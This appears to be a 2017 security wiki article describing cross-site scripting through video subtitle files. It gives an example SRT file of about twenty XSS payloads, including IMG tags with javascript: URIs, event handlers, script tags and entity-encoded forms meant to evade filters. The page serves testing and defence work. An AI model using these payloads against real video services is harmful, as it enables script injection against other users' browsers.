Revision as of 11:18, 21 November 2017

Description

It is possible for an attacker to execute JavaScript in a video's subtitle. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.

Examples

the attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video's subtitles



1
 00:00:37,618 --> 00:00:42,557
 <font color="#ffff00">: '';!--"<XSS>=&{()}</font>

2
 00:00:58,425 --> 00:01:00,704
 <IMG SRC="javascript:alert('XSS');">

3
 00:01:00,705 --> 00:01:01,873
 <IMG SRC=javascript:alert('XSS')>

4
 00:01:02,225 --> 00:01:04,519
 <IMG SRC=javascript:alert('XSS')>

5
 00:01:04,520 --> 00:01:05,547
 <IMG SRC=javascript:alert('XSS')>

6
 00:01:05,864 --> 00:01:08,117
 <IMG SRC=javascript:alert('XSS')>

7
 00:01:08,224 --> 00:01:09,223
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">

8
 00:01:09,224 --> 00:01:10,434
 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

9
 00:01:11,384 --> 00:01:12,427
 <IMG SRC=# onmouseover="alert('xxs')">

10
 00:01:15,504 --> 00:01:17,506
 <IMG SRC= onmouseover="alert('xxs')">

11
 00:01:19,743 --> 00:01:20,786
 <IMG onmouseover="alert('xxs')">

12
 00:01:24,183 --> 00:01:25,351
 <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

13
 00:01:40,663 --> 00:01:41,705
 <img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14
 00:01:42,703 --> 00:01:45,742
 <IMG SRC=javascript:alert( 'XSS')>

15
 00:01:45,743 --> 00:01:46,285
 <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097& #0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

16
 00:01:48,503 --> 00:01:49,545
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

17
 00:01:49,582 --> 00:01:51,709
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

18
 00:01:54,822 --> 00:01:58,200
 <IMG SRC="jav ascript:alert('XSS');">

19
 00:02:01,021 --> 00:02:03,691
 <IMG SRC="jav ascript:alert('XSS');">

20
 00:02:04,702 --> 00:02:05,744
 <IMG SRC="jav&#x0D;ascript:alert('XSS');">

21
 00:02:15,700 --> 00:02:18,536
 <IMG SRC="javascript:alert('XSS')"

22
 00:02:18,740 --> 00:02:22,619
 \";alert('XSS');//

Authors and Primary Editors

Mohammad MortazaviZade - [email protected]

Related Threats

Related Attacks

XSS Attacks

Related Vulnerabilities

Related Countermeasures

Categories

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